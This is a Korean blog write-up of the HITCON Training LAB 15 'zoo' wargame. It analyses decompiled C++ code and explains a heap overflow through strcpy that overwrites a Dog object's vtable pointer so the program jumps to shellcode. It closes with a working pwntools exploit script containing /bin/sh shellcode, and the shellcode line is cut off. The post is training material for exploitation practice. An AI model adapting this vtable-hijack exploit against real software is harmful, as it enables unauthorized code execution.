블로그 이전했습니다. https://jeongzero.oopy.io/
[Hicon training] LAB 15
본문 바로가기
워게임/Hitcon training

[Hicon training] LAB 15

728x90

 

1. 문제


1) mitigation 확인 

카나리 뺴고 안걸려있다. RWX 영역이 있으니, 쉘코드를 삽입하는 문제로 의심된다 

 

 

 

2) 문제 확인 

동물원을 만드는 문제이다. 강아지와 고양이를 추가할 수 있고, 동물의 울음소리, 정보를 알수 있다. 딱 봐도 힙 문제인듯 싶다 

 

 

 

3) 코드흐름 파악 

이번 문제는 C++ 바이너리이다.  

 

  1. main()
    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      __int64 v3; // rax
      int v4; // [rsp+4h] [rbp-Ch]
      unsigned __int64 v5; // [rsp+8h] [rbp-8h]
    
      v5 = __readfsqword(0x28u);
      setvbuf(stdout, 0LL, 2, 0LL);
      setvbuf(stdin, 0LL, 2, 0LL);
      std::operator<<<std::char_traits<char>>(&std::cout, "Name of Your zoo :");
      read(0, &nameofzoo, 0x64uLL);
      while ( 1 )
      {
        menu();
        std::operator<<<std::char_traits<char>>(&std::cout, "Your choice :");
        std::istream::operator>>(&edata, &v4);
        std::ostream::operator<<(&std::cout, &std::endl<char,std::char_traits<char>>);
        switch ( v4 )
        {
          case 1:
            adddog();
            break;
          case 2:
            addcat();
            break;
          case 3:
            listen();
            break;
          case 4:
            showinfo();
            break;
          case 5:
            remove();
            break;
          case 6:
            _exit(0);
            return;
          default:
            v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Invaild choice");
            std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
            break;
        }
      }
    }
    • 제일 먼저 nameofzoo에 0x64 입력을 받는다. 이는 bss영역에 존재한다
    • 그다음 v4에 입력을 받고 알맞은 메뉴가 실행된다

     

  1. adddog()함수
    unsigned __int64 adddog(void)
    {
      __int64 v0; // rbx
      int v2; // [rsp+Ch] [rbp-74h]
      __int64 v3; // [rsp+10h] [rbp-70h]
      __int64 v4; // [rsp+18h] [rbp-68h]
      char v5; // [rsp+20h] [rbp-60h]
      char v6; // [rsp+40h] [rbp-40h]
      unsigned __int64 v7; // [rsp+68h] [rbp-18h]
    
      v7 = __readfsqword(0x28u);
      std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v5);
      std::operator<<<std::char_traits<char>>(&std::cout, "Name : ");
      std::operator>><char,std::char_traits<char>,std::allocator<char>>(&edata, &v5);
      std::operator<<<std::char_traits<char>>(&std::cout, "Weight : ");
      std::istream::operator>>(&edata, &v2);
      std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v6, &v5);
      v0 = operator new(0x28uLL);
      Dog::Dog(v0, (__int64)&v6, v2);
      v4 = v0;
      std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v6);
      v3 = v4;
      std::vector<Animal *,std::allocator<Animal *>>::push_back(&animallist, &v3);
      std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v5);
      return __readfsqword(0x28u) ^ v7;
    }
    • 우선 이름을 v5변수에 저장한다. 그리고 Weight는 v2에 저장한다
    • 그다음 basic_string을 이용하여 v5를 C style string? 으로 변환해준다음, 이를 v6변수에 넣는다
    • new 를 통해 0x28사이즈 객체를 하나 선언한다
    • v0, 이름,몸무게 총 3개의 인자를 가지고 Dog 객체를 하나 만든다
       v0 = operator new(0x28uLL);
       Dog::Dog(v0, (__int64)&v6, v2);
      ===========================================
      Dog *mydog = new Dog(name,weight); 요 의미이다
    • 그리고 animallist vector에 Dog 객체를 가리키는 포인터를 push_back을 이용해 넣어준다
    • 그럼 Dog 클래스가 어떻게 되있는지 살펴보자

 

2.1 Dog class

  • 기드라로 해당 바이너리를 확인한 결과이다. 왼쪽 Symbol Tree를 보면 해당 바이너리에서 생성된 클래스들을 확인 가능하다. Dog Class에는 3개의 함수가 존재한다.
  • Dog Class를 보면 Animal 생성자가 먼저 호출되는 것을 볼 수 있다. 따라서 Dog는 Animal class을 상속받기 때문에 Dog 객체를 생성하면, Animal 의 생성자가 호출되는것을 알 수 있다
  • 그다음 Dog의 생성자에서 strcpy를 이용해 이름을 this+8에 복사하고, 몸무게를 this+0x20에 넣는다
  • 그리고 this에 0x403140을 넣는데, 이는 speak함수 포인터이다. info 함수포인터는 0x403148위치에 존재한다. info함수포인터에 대한 코드가 여기서 없는걸로 봐서 info함수는 speak 함수포인터기준+8로 하여 호출되는 것으로 예상된다

 

 

3. remove() 함수

/* WARNING: Unknown calling convention yet parameter storage is locked */
/* remove() */

void remove(void)

{
  __normal_iterator _Var1;
  long lVar2;
  basic_ostream *this;
  ulong uVar3;
  void **ppvVar4;
  ulong uVar5;
  long in_FS_OFFSET;
  uint local_2c;
  undefined8 local_28;
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  lVar2 = size((vector<Animal*,std--allocator<Animal*>> *)animallist);
  if (lVar2 == 0) {
    this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"no any animal!");
    operator<<((basic_ostream<char,std--char_traits<char>> *)this,
               _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_);
  }
  else {
    operator<<<std--char_traits<char>>((basic_ostream *)cout,"index of animal : ");
    operator>>((basic_istream<char,std--char_traits<char>> *)__TMC_END__,&local_2c);
    uVar5 = (ulong)local_2c;
    uVar3 = size((vector<Animal*,std--allocator<Animal*>> *)animallist);
    if (uVar5 < uVar3) {
      ppvVar4 = (void **)operator[]((vector<Animal*,std--allocator<Animal*>> *)animallist,
                                    (ulong)local_2c);
      operator.delete(*ppvVar4);
      local_28 = begin((vector<Animal*,std--allocator<Animal*>> *)animallist);
      _Var1 =operator+((__normal_iterator<Animal**,std--vector<Animal*,std--allocator<Animal*>>> *)
                        &local_28,(ulong)local_2c);
      erase((vector<Animal*,std--allocator<Animal*>> *)animallist,_Var1);
    }
    else {
      this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"out of bound !");
      operator<<((basic_ostream<char,std--char_traits<char>> *)this,
                 _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_);
    }
  }
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
  • 삭제하려는 인덱스를 입력하고 namelist에 들어있는 객체 포인터를 delete 연산을 한다
  • 그다음 erase를 호출하여 벡터에서 해당 값을 삭제한다

 

 

4. listen() 함수

/* WARNING: Unknown calling convention yet parameter storage is locked */
/* listen() */

void listen(void)

{
  long lVar1;
  basic_ostream *this;
  ulong uVar2;
  code **ppcVar3;
  ulong uVar4;
  long in_FS_OFFSET;
  uint local_24;
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  lVar1 = size((vector<Animal*,std--allocator<Animal*>> *)animallist);
  if (lVar1 == 0) {
    this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"no any animal!");
    operator<<((basic_ostream<char,std--char_traits<char>> *)this,
               _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_);
  }
  else {
    operator<<<std--char_traits<char>>((basic_ostream *)cout,"index of animal : ");
    operator>>((basic_istream<char,std--char_traits<char>> *)__TMC_END__,&local_24);
    uVar4 = (ulong)local_24;
    uVar2 = size((vector<Animal*,std--allocator<Animal*>> *)animallist);
    if (uVar4 < uVar2) {
      ppcVar3 = (code **)operator[]((vector<Animal*,std--allocator<Animal*>> *)animallist,
                                    (ulong)local_24);
      (***(code ***)*ppcVar3)(*ppcVar3);
    }
    else {
      this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"out of bound !");
      operator<<((basic_ostream<char,std--char_traits<char>> *)this,
                 _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_);
    }
  }
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
  • 원하는 인덱스를 선택한다
  • local_24에 인덱스가 담기는데 animalist의 배열인덱스를 참조하여 speak함수를 호출한다.
  • 디버깅 결과 해당 speak함수는 다음의 순서로 호출된다
    animalist[i]에 담긴 값 -> vtable주소 -> vtable안에서 speak함수 포인터 -> speak함수호출

 

 

 

 

2. 접근방법


분석은 요정도로 끝맞췄다. 우선 strcpy함수로 인하여 bof가 발생가능하다. addDog() 함수를 한번 호출할때 마다, Dog객체를 new 연산을 통해 힙에 할당이 되는데, 마지막에 벡터에 추가하는 것도 힙 영역을 사용한다 따라서  

 

한번 addDog함수가 호출될때마다 저렇게 힙이 구성된다. 0x30은 new연산을 통해 생성된 청크이고, 0x21사이즈 부분은 벡터에 넣을때 사용되는 청크로 확인된다. 여기서 listen함수를 호출하면, animalist[0]에 담겨져 있는 0x617c20을 참조한다 

 

그다음 0x617c20에 담긴 0x403140을 참고하고,  

0x403140에 담긴 0x401b0a를 참조한다. 그리고 마지막으로 저기에 담긴 speak함수가 호출되는 식으로 흘러간다. 

 

그럼 아래 사진을 다시보자 

strcpy를 통해 입력한 이름이 new 로 생성된 mem +8에 들어간다. 만약 bof를 일으켜 아래의 0x403140을 다른 값으로 덮어버리고 해당 영역을 쉘코드로 덮으면 쉘이 떨어질 것이다. 

 

하나 알아둬야할 점은, strcpy함수가 호출된 후에 그다음 0x21 청크(vector 수행)이 생성되므로, 2번의 addDog함수를 호출하고, 인덱스0 을 제거한다음, 다시 addDog을 통해 strcpy로 bof을 일으켜야 한다.  

 

먼저 bof를 일으킨다면, 어짜피 0x21 청크가 생성되면서 그 값이 정상값(0x403140)으로 덮히기 때문에 의미가 없다. 

 

 

3. 풀이


시나리오는 다음과 같다 

  1. addDog() 함수 두번 호출하기
  1. remove(0)
  1. addDog()함수 호출하여 vtable주소 덮기

 

위 사진은 addDog() 2번, remove() 한번, 그다음 addDog()이 호출되어 strcpy가 호출되기 직전 상황이다. 왠지는 모르겠지만, 0번 인덱스의 listen을 호출하게 되면, animalst[0]에서 인덱스 1번의 vtable을 접근해서 확인한다. 

 

뭐 어쨋든.. 따라서 우리는 strcpy를 통해 0x9e0c68까지 더미값을 채우고 그다음 쉘코드가 담긴 주소를 넣으면 된다. 

 

우리가 첨에 zoo 이름을 0x64만큼 입력할수 있었는데, 여기에 쉘코드를 넣으면 된다. 하지만 nameofzoo 이 주소의 하위 바이트는 0x20이기 때문에 cin operator에서 입력의 끝으로 판단하여 복사가 더이상 안일어난다.  

 

따라서 nameofzoo(0x605420) + 8을 주면 된다. 

nameofzoo+8 주소가 잘 들어간것을 확인할 수있다.  

 

아까도 말했듯이, speak함수는 이중 포인터로 담겨져있는 공간을 참조하기 떄문에 다음과 같이 nameofzoo 변수에 쉘코드를 넣어줘야한다 

nameofzoo = "A"*8
nameofzoo += nameofzoo + 0x10 #animalist에서 nameofzoo+8을 참조함(여기!!)
nameofzoo += nameofzoo + 0x18 #여기가 가리키는 값은 nameofzoo+0x18임 그곳이 가리키는 곳이
nameofzoo += shellcode # 바로 여기임. 

 

최종 익스코드는 다음과 같다 

from pwn import *
context(os="linux",log_level="DEBUG")
p=process("./zoo")
#gdb.attach(p,'code\nb *0xAF8+$code\n')
gdb.attach(p)

def dog(name,weight):
        p.sendlineafter("Your choice :","1")
        p.sendlineafter("Name : ",name)
        p.sendlineafter("Weight : ",str(weight))

def remove(index):
        p.sendlineafter("Your choice :","5")
        p.sendlineafter("animal : ",str(index))

def listen(index):
        p.sendlineafter("Your choice :","3")
        p.sendlineafter("animal : ",str(index))

namezoo=0x605420
shellcode="\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\$
zoo="A"*8+p64(namezoo+0x10)+p64(namezoo+0x18)+shellcode
p.sendlineafter("Name of Your zoo :",zoo)

dog("A",1)
dog("B",1)

remove(0)

namezoo=0x605420
payload="A"*0x48+p64(namezoo+8)

dog(payload,1)
listen(0)

p.interactive()

 

 

4. 몰랐던 개념


  • c++은 cin에서 0x20을 입력의 끝으로 판단함. 따라서 strcpy 호출시 0x20을 만나면 끊김
  • C++ basic_string → 이건 아직도 잘 모르겠..
  • vtable
  • push_back 호출시 새로운 vector 객체를 할당(힙 영역)하고 복사해줌
728x90

'워게임 > Hitcon training' 카테고리의 다른 글

[Hicon training] LAB 14  (0) 2020.04.23
[Hicon training] LAB 13  (0) 2020.04.23
[Hicon training] LAB 12  (0) 2020.04.21
[Hicon training] LAB 11  (0) 2020.04.20
[Hicon training] LAB 10  (0) 2020.04.16